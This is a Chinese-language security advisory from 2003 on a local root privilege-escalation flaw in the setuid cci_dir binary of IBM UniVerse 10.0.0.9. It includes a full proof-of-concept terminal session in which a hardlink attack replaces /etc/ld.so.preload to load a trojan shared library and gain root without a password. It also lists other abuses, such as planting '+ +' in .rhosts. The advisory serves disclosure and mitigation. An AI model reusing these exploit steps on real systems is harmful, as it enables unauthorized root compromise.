IBM U2 UniVerse cci_dir硬连接权限提升漏洞
发布日期:2003-07-15
更新日期:2003-07-21
受影响系统:IBM UniVerse 10.0.0.9
描述:
BUGTRAQ ID:
8202
UniVerse是一款扩展关系型数据库,支持跨Windows、Linux、Unix平台下的数据访问,存储和管理。
cci_dir不正确处理硬连接操作,本地攻击者可以利用这个漏洞获得root用户权限。
UniVerse支持CCI(Concurrent Controls Inc)操作系统可以提供普通用户以root用户权限访问。cci_dir以root用户权限运行调用link(),这允许攻击者攻击者放置文本到任何不存在的文件中。cci_dir还以root用户权限对文件调用unlink(),这些组合可导致攻击者在.rhosts中放置"+ +",重建shadow或者password文件,或者在共享库中放置后门。唯一有限制的是不能在多分区中使用,跨分区连接会导致link()调用失败。
<*来源:KF (
dotslash@snosoft.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=105839150004682&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
KF (
dotslash@snosoft.com)提供了如下测试方法:
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
-rw-r--r-- 1 root root 0 Jul 7 20:03 /etc/ld.so.preload
[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir /etc/ld.so.preload isgone
Was unable to unlink file isgone/..
[kf@vegeta kf]$ ls -al isgone
-rw-r--r-- 1 root root 0 Jul 7 20:03 isgone
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
Next lets prepare for a shared library attack on /etc/ld.so.preload.
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
^C
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ cat > owned
/home/kf/oops.so
^C
Next we cause cci_dir to hardlink to our trojan ld.so.preload file.
[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir owned /etc/ld.so.preload
Was unable to unlink file /etc/ld.so.preload/..
You should note that we now have an ld.so.preload file.
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
-rw-rw-r-- 1 kf kf 18 Jun 27 18:41 /etc/ld.so.preload
[kf@vegeta kf]$ cat /etc/ld.so.preload
/home/kf/oops.so
Now you can simply take root. (note you do NOT type a password for su)
[kf@vegeta kf]$ su -
[root@vegeta root]# id
uid=0(root) gid=0(root) groups=0(root)
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* chmod -s /usr/ibm/uv/bin/cci_dir
厂商补丁:
IBM
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www-3.ibm.com/software/data/u2/universe/浏览次数:3037
严重程度:0(网友投票)